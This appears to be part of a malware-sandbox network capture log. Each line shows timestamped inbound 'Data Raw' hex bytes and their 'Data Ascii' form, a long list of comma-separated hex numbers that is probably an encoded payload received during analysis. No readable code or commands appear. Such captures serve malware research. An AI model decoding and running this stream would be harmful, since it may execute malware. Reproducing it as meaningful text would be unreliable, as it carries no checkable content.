2023-04-20 23:05:14 UTC	14989	IN	Data Raw: 62 35 2c 31 33 36 2c 31 31 31 2c 31 33 31 2c 31 30 36 2c 36 39 2c 37 37 2c 31 34 35 2c 61 37 2c 66 36 2c 64 35 2c 31 33 39 2c 31 34 31 2c 31 31 39 2c 35 33 2c 61 36 2c 31 33 61 2c 31 30 62 2c 36 64 2c 65 34 2c 31 36 30 2c 31 35 38 2c 31 31 66 2c 62 33 2c 39 35 2c 39 62 2c 39 37 2c 31 36 65 2c 62 38 2c 61 34 2c 37 62 2c 65 65 2c 31 34 64 2c 31 31 39 2c 31 32 63 2c 31 35 30 2c 38 34 2c 66 62 2c 39 35 2c 31 33 61 2c 62 30 2c 62 63 2c 35 64 2c 64 30 2c 31 31 35 2c 35 62 2c 35 61 2c 31 30 34 2c 31 32 63 2c 63 36 2c 66 35 2c 36 38 2c 64 34 2c 66 36 2c 31 36 39 2c 66 35 2c 31 33 32 2c 31 32 33 2c 31 35 65 2c 31 32 36 2c 31 33 66 2c 31 35 32 2c 39 62 2c 65 31 2c 66 66 2c 37 34 2c 37 37 2c 61 37 2c 61 32 2c 64 36 2c 33 39 2c 39 31 2c 66 32 2c 66 31 2c 66 30 2c 36 Data Ascii: b5,136,111,131,106,69,77,145,a7,f6,d5,139,141,119,53,a6,13a,10b,6d,e4,160,158,11f,b3,95,9b,97,16e,b8,a4,7b,ee,14d,119,12c,150,84,fb,95,13a,b0,bc,5d,d0,115,5b,5a,104,12c,c6,f5,68,d4,f6,169,f5,132,123,15e,126,13f,152,9b,e1,ff,74,77,a7,a2,d6,39,91,f2,f1,f0,6
2023-04-20 23:05:14 UTC	15005	IN	Data Raw: 31 34 63 2c 31 33 30 2c 31 32 38 2c 31 31 35 2c 31 34 36 2c 31 31 64 2c 63 34 2c 63 34 2c 38 36 2c 34 31 2c 31 31 32 2c 61 34 2c 62 65 2c 38 65 2c 34 31 2c 31 31 34 2c 31 32 31 2c 66 34 2c 31 32 30 2c 31 30 38 2c 31 31 31 2c 64 62 2c 31 31 64 2c 65 30 2c 66 37 2c 38 38 2c 37 33 2c 31 35 30 2c 36 38 2c 63 63 2c 38 39 2c 31 33 30 2c 38 36 2c 31 32 30 2c 38 35 2c 31 34 32 2c 63 33 2c 38 34 2c 39 63 2c 61 30 2c 35 34 2c 39 62 2c 31 33 39 2c 31 34 30 2c 62 39 2c 31 31 32 2c 31 32 63 2c 31 33 64 2c 63 36 2c 62 36 2c 66 37 2c 31 30 30 2c 31 34 33 2c 31 33 32 2c 64 37 2c 61 30 2c 62 66 2c 61 37 2c 34 62 2c 64 35 2c 31 34 34 2c 31 34 32 2c 31 32 38 2c 62 30 2c 63 31 2c 65 31 2c 39 33 2c 31 35 36 2c 38 65 2c 36 34 2c 62 38 2c 66 36 2c 36 33 2c 66 34 2c 31 31 33 2c Data Ascii: 14c,130,128,115,146,11d,c4,c4,86,41,112,a4,be,8e,41,114,121,f4,120,108,111,db,11d,e0,f7,88,73,150,68,cc,89,130,86,120,85,142,c3,84,9c,a0,54,9b,139,140,b9,112,12c,13d,c6,b6,f7,100,143,132,d7,a0,bf,a7,4b,d5,144,142,128,b0,c1,e1,93,156,8e,64,b8,f6,63,f4,113,
2023-04-20 23:05:14 UTC	15021	IN	Data Raw: 2c 63 65 2c 36 35 2c 65 38 2c 62 62 2c 31 35 64 2c 39 39 2c 31 32 61 2c 62 62 2c 31 30 33 2c 31 30 33 2c 37 39 2c 63 32 2c 66 36 2c 63 31 2c 36 63 2c 31 33 62 2c 39 31 2c 62 61 2c 61 66 2c 39 62 2c 31 31 31 2c 31 30 33 2c 31 36 65 2c 38 66 2c 65 64 2c 31 31 36 2c 31 31 38 2c 66 32 2c 36 35 2c 64 32 2c 37 30 2c 31 33 30 2c 31 31 36 2c 31 30 30 2c 31 31 33 2c 65 63 2c 31 30 31 2c 64 33 2c 31 34 30 2c 64 36 2c 31 32 66 2c 66 38 2c 31 30 36 2c 65 31 2c 35 61 2c 31 35 32 2c 62 31 2c 38 34 2c 34 38 2c 31 34 63 2c 31 35 61 2c 31 30 35 2c 39 33 2c 61 33 2c 63 31 2c 31 31 62 2c 36 39 2c 31 31 38 2c 39 64 2c 31 32 36 2c 31 33 61 2c 31 30 64 2c 39 39 2c 31 32 36 2c 31 33 31 2c 35 32 2c 35 34 2c 37 66 2c 61 35 2c 63 35 2c 62 62 2c 39 33 2c 61 62 2c 61 64 2c 64 66 2c Data Ascii: ,ce,65,e8,bb,15d,99,12a,bb,103,103,79,c2,f6,c1,6c,13b,91,ba,af,9b,111,103,16e,8f,ed,116,118,f2,65,d2,70,130,116,100,113,ec,101,d3,140,d6,12f,f8,106,e1,5a,152,b1,84,48,14c,15a,105,93,a3,c1,11b,69,118,9d,126,13a,10d,99,126,131,52,54,7f,a5,c5,bb,93,ab,ad,df,
2023-04-20 23:05:14 UTC	15037	IN	Data Raw: 31 2c 31 36 30 2c 31 30 34 2c 64 61 2c 61 37 2c 63 34 2c 38 36 2c 39 37 2c 31 34 64 2c 31 32 38 2c 35 33 2c 34 38 2c 65 30 2c 62 66 2c 63 36 2c 66 39 2c 38 32 2c 62 64 2c 31 36 61 2c 31 31 30 2c 39 34 2c 31 30 39 2c 64 34 2c 31 30 39 2c 62 38 2c 62 34 2c 31 32 65 2c 66 33 2c 31 32 61 2c 34 39 2c 39 31 2c 31 36 31 2c 31 34 35 2c 31 34 32 2c 66 34 2c 61 36 2c 31 32 65 2c 65 64 2c 31 34 34 2c 38 31 2c 31 30 38 2c 36 34 2c 39 66 2c 36 62 2c 62 64 2c 37 38 2c 66 63 2c 31 32 64 2c 31 35 38 2c 63 39 2c 31 32 64 2c 38 66 2c 37 31 2c 38 63 2c 31 32 30 2c 31 34 35 2c 31 33 30 2c 31 31 34 2c 31 32 38 2c 31 31 34 2c 38 38 2c 66 64 2c 38 37 2c 63 37 2c 63 64 2c 36 64 2c 62 66 2c 31 31 61 2c 39 62 2c 66 62 2c 31 30 36 2c 31 31 32 2c 61 37 2c 31 33 34 2c 66 61 2c 36 64 Data Ascii: 1,160,104,da,a7,c4,86,97,14d,128,53,48,e0,bf,c6,f9,82,bd,16a,110,94,109,d4,109,b8,b4,12e,f3,12a,49,91,161,145,142,f4,a6,12e,ed,144,81,108,64,9f,6b,bd,78,fc,12d,158,c9,12d,8f,71,8c,120,145,130,114,128,114,88,fd,87,c7,cd,6d,bf,11a,9b,fb,106,112,a7,134,fa,6d
2023-04-20 23:05:14 UTC	15053	IN	Data Raw: 31 2c 31 32 30 2c 63 38 2c 36 61 2c 31 30 34 2c 31 32 36 2c 39 66 2c 35 30 2c 31 35 36 2c 31 35 37 2c 63 65 2c 31 33 66 2c 34 32 2c 62 64 2c 65 37 2c 37 61 2c 31 34 37 2c 35 61 2c 31 32 38 2c 61 33 2c 66 33 2c 65 37 2c 61 63 2c 39 33 2c 31 34 30 2c 31 32 64 2c 31 34 33 2c 61 66 2c 31 32 38 2c 63 66 2c 66 62 2c 64 64 2c 62 64 2c 31 36 63 2c 62 66 2c 39 37 2c 66 62 2c 65 37 2c 35 61 2c 31 32 38 2c 31 32 38 2c 65 39 2c 64 64 2c 37 63 2c 62 39 2c 65 37 2c 63 66 2c 31 30 36 2c 63 37 2c 31 30 66 2c 63 31 2c 65 34 2c 64 36 2c 31 30 30 2c 63 66 2c 31 33 33 2c 31 32 33 2c 31 34 38 2c 31 30 65 2c 62 34 2c 31 35 64 2c 31 34 36 2c 36 31 2c 62 34 2c 66 38 2c 31 31 63 2c 66 39 2c 31 30 33 2c 31 32 31 2c 63 34 2c 38 38 2c 64 62 2c 39 65 2c 31 30 30 2c 61 36 2c 31 35 31 Data Ascii: 1,120,c8,6a,104,126,9f,50,156,157,ce,13f,42,bd,e7,7a,147,5a,128,a3,f3,e7,ac,93,140,12d,143,af,128,cf,fb,dd,bd,16c,bf,97,fb,e7,5a,128,128,e9,dd,7c,b9,e7,cf,106,c7,10f,c1,e4,d6,100,cf,133,123,148,10e,b4,15d,146,61,b4,f8,11c,f9,103,121,c4,88,db,9e,100,a6,151
2023-04-20 23:05:14 UTC	15069	IN	Data Raw: 63 2c 31 34 36 2c 31 33 39 2c 35 38 2c 64 38 2c 64 39 2c 31 30 32 2c 31 30 30 2c 31 35 66 2c 31 34 32 2c 66 38 2c 39 30 2c 63 34 2c 31 34 36 2c 65 65 2c 36 39 2c 35 66 2c 61 65 2c 31 30 65 2c 63 63 2c 31 31 31 2c 66 36 2c 39 62 2c 31 31 64 2c 31 34 66 2c 31 30 31 2c 64 66 2c 65 63 2c 66 64 2c 31 30 32 2c 31 30 30 2c 31 31 34 2c 65 66 2c 31 32 36 2c 31 31 33 2c 64 34 2c 35 30 2c 36 32 2c 39 30 2c 31 30 34 2c 31 30 30 2c 64 30 2c 31 35 31 2c 31 31 30 2c 31 31 35 2c 63 31 2c 31 32 36 2c 37 61 2c 31 30 39 2c 39 64 2c 31 31 64 2c 37 66 2c 37 30 2c 31 36 31 2c 38 37 2c 64 64 2c 38 38 2c 36 62 2c 61 39 2c 62 39 2c 35 39 2c 31 32 30 2c 62 33 2c 31 35 32 2c 39 32 2c 36 64 2c 31 35 34 2c 37 35 2c 31 30 35 2c 37 64 2c 66 35 2c 36 38 2c 31 33 33 2c 31 36 34 2c 31 33 Data Ascii: c,146,139,58,d8,d9,102,100,15f,142,f8,90,c4,146,ee,69,5f,ae,10e,cc,111,f6,9b,11d,14f,101,df,ec,fd,102,100,114,ef,126,113,d4,50,62,90,104,100,d0,151,110,115,c1,126,7a,109,9d,11d,7f,70,161,87,dd,88,6b,a9,b9,59,120,b3,152,92,6d,154,75,105,7d,f5,68,133,164,13
2023-04-20 23:05:14 UTC	15085	IN	Data Raw: 34 2c 31 31 63 2c 62 66 2c 65 65 2c 31 32 66 2c 65 62 2c 31 31 66 2c 33 62 2c 38 31 2c 31 36 30 2c 64 61 2c 37 65 2c 36 63 2c 39 64 2c 31 35 33 2c 62 64 2c 66 63 2c 31 33 31 2c 37 62 2c 31 30 66 2c 62 38 2c 61 61 2c 31 34 30 2c 66 62 2c 66 32 2c 64 65 2c 31 30 35 2c 38 37 2c 62 30 2c 31 30 36 2c 65 36 2c 65 37 2c 39 35 2c 38 64 2c 65 34 2c 64 66 2c 63 34 2c 39 37 2c 31 36 34 2c 63 39 2c 38 30 2c 64 37 2c 61 39 2c 35 64 2c 63 31 2c 31 34 36 2c 39 35 2c 62 37 2c 31 32 36 2c 36 65 2c 33 39 2c 66 33 2c 62 64 2c 39 30 2c 61 65 2c 31 32 30 2c 31 32 38 2c 64 36 2c 35 63 2c 31 34 36 2c 63 63 2c 35 64 2c 31 35 33 2c 64 65 2c 65 36 2c 39 33 2c 34 65 2c 37 35 2c 31 34 35 2c 31 34 39 2c 31 35 37 2c 39 32 2c 39 38 2c 31 35 63 2c 36 36 2c 65 64 2c 65 39 2c 31 36 34 2c Data Ascii: 4,11c,bf,ee,12f,eb,11f,3b,81,160,da,7e,6c,9d,153,bd,fc,131,7b,10f,b8,aa,140,fb,f2,de,105,87,b0,106,e6,e7,95,8d,e4,df,c4,97,164,c9,80,d7,a9,5d,c1,146,95,b7,126,6e,39,f3,bd,90,ae,120,128,d6,5c,146,cc,5d,153,de,e6,93,4e,75,145,149,157,92,98,15c,66,ed,e9,164,
2023-04-20 23:05:14 UTC	15101	IN	Data Raw: 2c 31 35 30 2c 31 34 32 2c 63 35 2c 66 31 2c 35 61 2c 64 39 2c 36 30 2c 36 30 2c 63 65 2c 39 65 2c 61 33 2c 63 39 2c 31 32 35 2c 31 31 35 2c 31 31 63 2c 31 36 65 2c 64 33 2c 36 34 2c 31 33 33 2c 64 66 2c 39 38 2c 62 38 2c 34 66 2c 64 63 2c 31 36 38 2c 31 33 31 2c 37 34 2c 37 38 2c 31 34 39 2c 63 33 2c 38 31 2c 37 64 2c 65 38 2c 31 30 30 2c 31 32 32 2c 31 35 30 2c 66 62 2c 65 39 2c 34 39 2c 34 63 2c 66 66 2c 31 31 38 2c 36 32 2c 39 36 2c 66 30 2c 61 36 2c 36 64 2c 65 66 2c 31 36 36 2c 66 32 2c 64 66 2c 37 64 2c 63 32 2c 64 32 2c 31 31 35 2c 39 32 2c 31 35 64 2c 31 30 36 2c 63 38 2c 65 32 2c 31 30 31 2c 31 32 32 2c 31 35 39 2c 66 30 2c 63 64 2c 39 30 2c 31 36 66 2c 31 34 32 2c 31 34 30 2c 64 62 2c 65 30 2c 35 62 2c 31 35 31 2c 37 62 2c 39 66 2c 63 37 2c 31 Data Ascii: ,150,142,c5,f1,5a,d9,60,60,ce,9e,a3,c9,125,115,11c,16e,d3,64,133,df,98,b8,4f,dc,168,131,74,78,149,c3,81,7d,e8,100,122,150,fb,e9,49,4c,ff,118,62,96,f0,a6,6d,ef,166,f2,df,7d,c2,d2,115,92,15d,106,c8,e2,101,122,159,f0,cd,90,16f,142,140,db,e0,5b,151,7b,9f,c7,1
2023-04-20 23:05:14 UTC	15117	IN	Data Raw: 39 37 2c 31 30 36 2c 31 31 39 2c 35 33 2c 39 61 2c 37 62 2c 39 35 2c 38 32 2c 31 37 33 2c 61 34 2c 65 38 2c 62 34 2c 31 32 39 2c 31 30 30 2c 66 64 2c 35 66 2c 36 34 2c 31 33 34 2c 31 31 66 2c 34 65 2c 31 30 65 2c 66 30 2c 63 36 2c 34 37 2c 37 64 2c 65 33 2c 63 65 2c 39 35 2c 31 31 34 2c 35 39 2c 31 35 31 2c 64 64 2c 31 33 37 2c 65 33 2c 61 65 2c 31 31 63 2c 37 32 2c 66 37 2c 38 39 2c 36 30 2c 39 65 2c 31 32 33 2c 39 36 2c 35 61 2c 63 36 2c 31 35 61 2c 37 62 2c 66 63 2c 38 65 2c 37 38 2c 64 63 2c 66 38 2c 31 31 30 2c 31 34 65 2c 65 61 2c 63 62 2c 31 33 30 2c 37 32 2c 31 33 61 2c 31 30 34 2c 64 33 2c 31 34 32 2c 31 33 61 2c 31 35 34 2c 64 30 2c 63 34 2c 31 31 30 2c 63 32 2c 35 36 2c 31 30 37 2c 31 31 33 2c 36 64 2c 31 35 33 2c 31 35 30 2c 38 30 2c 34 61 2c Data Ascii: 97,106,119,53,9a,7b,95,82,173,a4,e8,b4,129,100,fd,5f,64,134,11f,4e,10e,f0,c6,47,7d,e3,ce,95,114,59,151,dd,137,e3,ae,11c,72,f7,89,60,9e,123,96,5a,c6,15a,7b,fc,8e,78,dc,f8,110,14e,ea,cb,130,72,13a,104,d3,142,13a,154,d0,c4,110,c2,56,107,113,6d,153,150,80,4a,
2023-04-20 23:05:14 UTC	15133	IN	Data Raw: 2c 63 38 2c 31 30 31 2c 31 32 38 2c 38 31 2c 37 64 2c 62 31 2c 31 30 30 2c 62 31 2c 38 62 2c 65 31 2c 37 35 2c 64 64 2c 65 35 2c 38 34 2c 65 61 2c 64 39 2c 31 33 34 2c 63 61 2c 31 31 61 2c 31 34 65 2c 36 63 2c 37 32 2c 37 62 2c 63 66 2c 31 31 37 2c 61 38 2c 31 34 37 2c 31 32 62 2c 65 33 2c 62 63 2c 31 30 30 2c 64 32 2c 31 33 39 2c 63 36 2c 61 65 2c 63 30 2c 38 33 2c 38 33 2c 31 30 37 2c 37 39 2c 31 31 31 2c 38 63 2c 65 32 2c 31 32 31 2c 62 37 2c 66 38 2c 31 33 31 2c 31 31 32 2c 31 32 35 2c 38 61 2c 31 34 33 2c 31 30 62 2c 31 32 34 2c 31 33 37 2c 61 30 2c 34 31 2c 61 39 2c 31 30 37 2c 36 35 2c 63 34 2c 31 32 64 2c 36 66 2c 38 39 2c 31 30 30 2c 37 37 2c 61 39 2c 62 63 2c 35 66 2c 31 33 35 2c 62 61 2c 31 32 39 2c 64 39 2c 31 34 39 2c 31 32 33 2c 31 33 33 2c Data Ascii: ,c8,101,128,81,7d,b1,100,b1,8b,e1,75,dd,e5,84,ea,d9,134,ca,11a,14e,6c,72,7b,cf,117,a8,147,12b,e3,bc,100,d2,139,c6,ae,c0,83,83,107,79,111,8c,e2,121,b7,f8,131,112,125,8a,143,10b,124,137,a0,41,a9,107,65,c4,12d,6f,89,100,77,a9,bc,5f,135,ba,129,d9,149,123,133,
2023-04-20 23:05:14 UTC	15149	IN	Data Raw: 31 61 2c 31 36 62 2c 36 35 2c 34 62 2c 31 35 36 2c 31 35 62 2c 31 32 36 2c 31 36 31 2c 39 62 2c 65 37 2c 61 62 2c 66 39 2c 61 61 2c 62 35 2c 62 39 2c 31 33 35 2c 63 36 2c 63 38 2c 64 64 2c 63 37 2c 31 34 61 2c 38 34 2c 31 33 33 2c 34 65 2c 39 31 2c 37 31 2c 66 39 2c 62 30 2c 35 64 2c 31 33 39 2c 64 63 2c 66 34 2c 33 38 2c 31 34 31 2c 34 62 2c 31 33 63 2c 31 34 65 2c 36 61 2c 37 62 2c 63 30 2c 61 30 2c 37 37 2c 39 34 2c 31 30 30 2c 39 30 2c 66 62 2c 61 64 2c 37 38 2c 36 61 2c 37 32 2c 61 31 2c 31 34 64 2c 31 31 63 2c 62 34 2c 62 65 2c 62 63 2c 31 32 33 2c 31 34 38 2c 63 66 2c 38 39 2c 39 66 2c 31 31 65 2c 61 38 2c 63 31 2c 31 31 31 2c 31 34 32 2c 38 66 2c 36 32 2c 63 63 2c 38 65 2c 31 34 37 2c 66 39 2c 36 31 2c 64 34 2c 31 32 36 2c 61 30 2c 31 31 39 2c 35 Data Ascii: 1a,16b,65,4b,156,15b,126,161,9b,e7,ab,f9,aa,b5,b9,135,c6,c8,dd,c7,14a,84,133,4e,91,71,f9,b0,5d,139,dc,f4,38,141,4b,13c,14e,6a,7b,c0,a0,77,94,100,90,fb,ad,78,6a,72,a1,14d,11c,b4,be,bc,123,148,cf,89,9f,11e,a8,c1,111,142,8f,62,cc,8e,147,f9,61,d4,126,a0,119,5
2023-04-20 23:05:14 UTC	15165	IN	Data Raw: 2c 64 66 2c 31 33 37 2c 64 32 2c 31 33 34 2c 31 33 63 2c 31 31 39 2c 31 34 38 2c 31 31 39 2c 31 34 35 2c 35 39 2c 64 30 2c 62 37 2c 63 34 2c 31 32 30 2c 65 63 2c 31 36 61 2c 65 33 2c 38 66 2c 36 37 2c 66 33 2c 64 66 2c 39 30 2c 63 30 2c 31 33 33 2c 31 31 36 2c 31 33 36 2c 66 30 2c 66 33 2c 62 34 2c 66 39 2c 39 31 2c 63 32 2c 31 33 61 2c 65 38 2c 31 30 39 2c 31 35 30 2c 31 33 39 2c 38 33 2c 64 31 2c 31 30 32 2c 64 31 2c 31 33 34 2c 31 32 63 2c 31 34 62 2c 39 39 2c 31 33 63 2c 36 33 2c 31 36 34 2c 31 33 66 2c 63 34 2c 36 38 2c 31 32 38 2c 65 32 2c 31 30 32 2c 61 65 2c 31 35 39 2c 62 38 2c 36 64 2c 31 30 34 2c 31 32 34 2c 31 31 38 2c 31 35 65 2c 38 33 2c 66 39 2c 31 34 36 2c 66 35 2c 36 32 2c 31 34 61 2c 35 64 2c 35 66 2c 61 30 2c 36 37 2c 39 61 2c 61 64 2c Data Ascii: ,df,137,d2,134,13c,119,148,119,145,59,d0,b7,c4,120,ec,16a,e3,8f,67,f3,df,90,c0,133,116,136,f0,f3,b4,f9,91,c2,13a,e8,109,150,139,83,d1,102,d1,134,12c,14b,99,13c,63,164,13f,c4,68,128,e2,102,ae,159,b8,6d,104,124,118,15e,83,f9,146,f5,62,14a,5d,5f,a0,67,9a,ad,
2023-04-20 23:05:15 UTC	15181	IN	Data Raw: 31 34 39 2c 31 32 37 2c 38 32 2c 35 62 2c 33 35 2c 66 35 2c 62 31 2c 34 65 2c 61 35 2c 39 39 2c 37 61 2c 31 32 35 2c 64 37 2c 62 36 2c 31 32 62 2c 31 33 63 2c 31 32 30 2c 65 32 2c 62 37 2c 65 37 2c 34 35 2c 63 65 2c 38 61 2c 31 34 35 2c 62 33 2c 39 37 2c 31 35 35 2c 36 64 2c 31 35 36 2c 61 35 2c 37 36 2c 36 30 2c 31 33 30 2c 31 36 63 2c 64 61 2c 31 32 39 2c 64 31 2c 31 33 32 2c 64 63 2c 31 32 63 2c 35 38 2c 31 33 33 2c 31 34 35 2c 31 30 38 2c 64 61 2c 65 32 2c 31 30 64 2c 62 65 2c 31 35 39 2c 31 33 37 2c 31 32 39 2c 31 33 65 2c 62 36 2c 31 31 37 2c 62 32 2c 38 32 2c 37 65 2c 31 34 63 2c 31 31 61 2c 61 35 2c 62 66 2c 65 30 2c 65 61 2c 37 66 2c 65 36 2c 65 36 2c 31 34 30 2c 31 30 63 2c 37 61 2c 62 65 2c 62 62 2c 31 31 62 2c 36 63 2c 31 33 37 2c 61 63 2c 31 Data Ascii: 149,127,82,5b,35,f5,b1,4e,a5,99,7a,125,d7,b6,12b,13c,120,e2,b7,e7,45,ce,8a,145,b3,97,155,6d,156,a5,76,60,130,16c,da,129,d1,132,dc,12c,58,133,145,108,da,e2,10d,be,159,137,129,13e,b6,117,b2,82,7e,14c,11a,a5,bf,e0,ea,7f,e6,e6,140,10c,7a,be,bb,11b,6c,137,ac,1
2023-04-20 23:05:15 UTC	15197	IN	Data Raw: 31 32 62 2c 62 62 2c 31 35 31 2c 64 31 2c 31 30 64 2c 39 31 2c 62 63 2c 31 34 34 2c 64 63 2c 65 36 2c 65 36 2c 66 61 2c 39 63 2c 64 38 2c 31 31 30 2c 38 61 2c 31 32 35 2c 64 33 2c 65 38 2c 31 33 30 2c 62 37 2c 31 33 37 2c 66 30 2c 62 64 2c 35 64 2c 31 31 39 2c 63 65 2c 65 30 2c 35 39 2c 31 30 32 2c 31 30 39 2c 31 32 38 2c 36 39 2c 63 39 2c 31 34 35 2c 62 38 2c 36 66 2c 31 32 34 2c 64 66 2c 31 36 31 2c 31 34 39 2c 36 32 2c 38 34 2c 38 35 2c 31 32 65 2c 66 38 2c 38 61 2c 65 65 2c 31 32 38 2c 61 63 2c 38 39 2c 31 30 61 2c 65 63 2c 63 35 2c 66 38 2c 31 33 32 2c 38 61 2c 31 35 31 2c 62 30 2c 63 34 2c 63 36 2c 39 64 2c 63 34 2c 37 38 2c 63 30 2c 31 33 61 2c 36 31 2c 62 64 2c 31 33 32 2c 31 31 62 2c 65 62 2c 31 32 34 2c 63 30 2c 39 31 2c 64 30 2c 61 38 2c 64 64 Data Ascii: 12b,bb,151,d1,10d,91,bc,144,dc,e6,e6,fa,9c,d8,110,8a,125,d3,e8,130,b7,137,f0,bd,5d,119,ce,e0,59,102,109,128,69,c9,145,b8,6f,124,df,161,149,62,84,85,12e,f8,8a,ee,128,ac,89,10a,ec,c5,f8,132,8a,151,b0,c4,c6,9d,c4,78,c0,13a,61,bd,132,11b,eb,124,c0,91,d0,a8,dd
2023-04-20 23:05:15 UTC	15213	IN	Data Raw: 2c 31 35 37 2c 65 64 2c 38 36 2c 62 30 2c 31 30 31 2c 31 36 32 2c 64 33 2c 62 62 2c 39 30 2c 65 35 2c 31 30 37 2c 39 64 2c 31 30 35 2c 38 30 2c 65 39 2c 31 36 38 2c 33 62 2c 31 32 37 2c 38 63 2c 38 35 2c 31 31 61 2c 35 63 2c 39 66 2c 31 32 30 2c 38 35 2c 65 33 2c 35 61 2c 31 34 32 2c 38 62 2c 31 31 36 2c 36 66 2c 39 61 2c 61 64 2c 31 35 33 2c 31 32 36 2c 38 61 2c 36 61 2c 31 35 39 2c 31 32 35 2c 63 35 2c 36 61 2c 31 34 66 2c 64 62 2c 36 30 2c 39 64 2c 31 35 66 2c 65 63 2c 63 31 2c 63 30 2c 31 30 33 2c 66 33 2c 31 30 31 2c 31 30 36 2c 31 33 32 2c 62 33 2c 31 33 31 2c 61 36 2c 38 36 2c 31 32 64 2c 31 33 61 2c 62 36 2c 31 33 64 2c 62 31 2c 38 38 2c 65 34 2c 66 33 2c 64 31 2c 63 36 2c 39 34 2c 37 65 2c 31 33 36 2c 31 32 61 2c 31 31 39 2c 31 33 35 2c 62 36 2c Data Ascii: ,157,ed,86,b0,101,162,d3,bb,90,e5,107,9d,105,80,e9,168,3b,127,8c,85,11a,5c,9f,120,85,e3,5a,142,8b,116,6f,9a,ad,153,126,8a,6a,159,125,c5,6a,14f,db,60,9d,15f,ec,c1,c0,103,f3,101,106,132,b3,131,a6,86,12d,13a,b6,13d,b1,88,e4,f3,d1,c6,94,7e,136,12a,119,135,b6,
2023-04-20 23:05:15 UTC	15229	IN	Data Raw: 36 2c 35 63 2c 65 61 2c 31 33 64 2c 31 37 32 2c 31 33 30 2c 65 38 2c 31 31 37 2c 61 39 2c 36 38 2c 64 38 2c 31 32 32 2c 61 33 2c 31 33 63 2c 35 65 2c 61 64 2c 35 66 2c 63 34 2c 36 32 2c 64 38 2c 31 31 38 2c 39 37 2c 64 31 2c 66 62 2c 31 30 61 2c 62 66 2c 31 35 31 2c 31 36 39 2c 31 30 39 2c 31 34 39 2c 31 35 35 2c 31 33 33 2c 65 61 2c 38 65 2c 63 62 2c 31 31 37 2c 31 36 34 2c 31 35 34 2c 64 39 2c 63 35 2c 31 32 61 2c 38 63 2c 66 66 2c 62 62 2c 63 32 2c 31 34 61 2c 31 33 33 2c 36 35 2c 39 63 2c 31 36 62 2c 31 31 34 2c 66 64 2c 65 63 2c 39 34 2c 64 37 2c 38 61 2c 66 39 2c 31 30 62 2c 61 30 2c 66 36 2c 63 65 2c 65 64 2c 31 30 37 2c 65 64 2c 63 35 2c 31 34 37 2c 64 64 2c 31 30 32 2c 31 32 61 2c 31 35 35 2c 31 33 66 2c 39 63 2c 61 38 2c 66 65 2c 64 31 2c 61 38 Data Ascii: 6,5c,ea,13d,172,130,e8,117,a9,68,d8,122,a3,13c,5e,ad,5f,c4,62,d8,118,97,d1,fb,10a,bf,151,169,109,149,155,133,ea,8e,cb,117,164,154,d9,c5,12a,8c,ff,bb,c2,14a,133,65,9c,16b,114,fd,ec,94,d7,8a,f9,10b,a0,f6,ce,ed,107,ed,c5,147,dd,102,12a,155,13f,9c,a8,fe,d1,a8
2023-04-20 23:05:15 UTC	15245	IN	Data Raw: 2c 31 31 61 2c 31 31 62 2c 31 36 65 2c 31 31 37 2c 36 66 2c 66 66 2c 31 33 31 2c 36 39 2c 37 38 2c 31 33 65 2c 31 32 62 2c 31 32 31 2c 36 33 2c 38 63 2c 65 34 2c 31 35 63 2c 37 39 2c 65 31 2c 66 39 2c 66 62 2c 31 34 64 2c 31 33 31 2c 31 31 30 2c 61 37 2c 66 32 2c 31 32 36 2c 39 34 2c 31 30 62 2c 65 36 2c 36 37 2c 36 62 2c 31 32 62 2c 31 31 38 2c 37 34 2c 31 31 61 2c 31 31 65 2c 63 34 2c 39 64 2c 31 34 39 2c 37 62 2c 36 34 2c 64 31 2c 61 38 2c 31 36 65 2c 62 61 2c 61 39 2c 62 63 2c 31 31 33 2c 31 32 31 2c 31 33 36 2c 64 62 2c 31 31 39 2c 61 63 2c 31 35 61 2c 31 30 63 2c 65 64 2c 31 30 31 2c 31 31 31 2c 31 32 30 2c 37 37 2c 65 39 2c 38 66 2c 34 62 2c 61 39 2c 31 31 61 2c 31 33 65 2c 31 34 65 2c 31 34 34 2c 38 35 2c 61 36 2c 62 61 2c 31 31 31 2c 31 30 33 2c Data Ascii: ,11a,11b,16e,117,6f,ff,131,69,78,13e,12b,121,63,8c,e4,15c,79,e1,f9,fb,14d,131,110,a7,f2,126,94,10b,e6,67,6b,12b,118,74,11a,11e,c4,9d,149,7b,64,d1,a8,16e,ba,a9,bc,113,121,136,db,119,ac,15a,10c,ed,101,111,120,77,e9,8f,4b,a9,11a,13e,14e,144,85,a6,ba,111,103,
2023-04-20 23:05:15 UTC	15261	IN	Data Raw: 30 62 2c 31 33 61 2c 63 34 2c 35 30 2c 66 35 2c 62 65 2c 31 32 63 2c 31 30 65 2c 31 32 66 2c 31 31 32 2c 31 31 38 2c 38 63 2c 31 30 30 2c 31 33 62 2c 66 33 2c 31 33 31 2c 64 63 2c 63 36 2c 31 31 34 2c 34 65 2c 39 64 2c 37 30 2c 33 65 2c 31 32 39 2c 38 32 2c 37 66 2c 65 31 2c 31 32 66 2c 31 30 61 2c 31 33 62 2c 38 32 2c 31 34 61 2c 31 32 34 2c 31 33 63 2c 31 31 37 2c 61 38 2c 65 30 2c 65 35 2c 61 37 2c 63 63 2c 31 34 39 2c 61 64 2c 63 37 2c 31 30 61 2c 65 64 2c 64 35 2c 39 32 2c 31 32 31 2c 37 30 2c 31 31 35 2c 65 63 2c 38 64 2c 66 65 2c 62 34 2c 63 36 2c 31 31 39 2c 31 30 35 2c 62 36 2c 31 30 30 2c 31 33 35 2c 36 63 2c 63 66 2c 31 32 37 2c 63 62 2c 31 35 38 2c 39 32 2c 38 30 2c 64 61 2c 66 62 2c 66 37 2c 31 33 64 2c 38 64 2c 64 32 2c 31 31 65 2c 64 65 2c Data Ascii: 0b,13a,c4,50,f5,be,12c,10e,12f,112,118,8c,100,13b,f3,131,dc,c6,114,4e,9d,70,3e,129,82,7f,e1,12f,10a,13b,82,14a,124,13c,117,a8,e0,e5,a7,cc,149,ad,c7,10a,ed,d5,92,121,70,115,ec,8d,fe,b4,c6,119,105,b6,100,135,6c,cf,127,cb,158,92,80,da,fb,f7,13d,8d,d2,11e,de,
